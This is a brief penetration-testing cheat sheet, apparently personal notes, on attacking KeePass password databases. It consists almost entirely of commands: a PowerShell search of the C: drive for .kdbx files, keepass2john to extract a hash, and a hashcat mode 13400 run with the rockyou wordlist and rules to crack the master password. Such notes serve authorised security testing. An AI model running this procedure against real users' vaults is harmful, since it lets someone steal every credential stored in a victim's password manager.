KeePass

Find KeePass databases with powershell.

Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

Crack the database

keepass2john KeePass-Database.kdbx > keepass.hash

cat keepass.hash   
Database:$keepass$*2*60*0*d74e29a727e

Remove the Database: string.

cat keepass.hash   
$keepass$*2*60*0*d74e29a727e

Crack the hash and retrieve the password.

hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force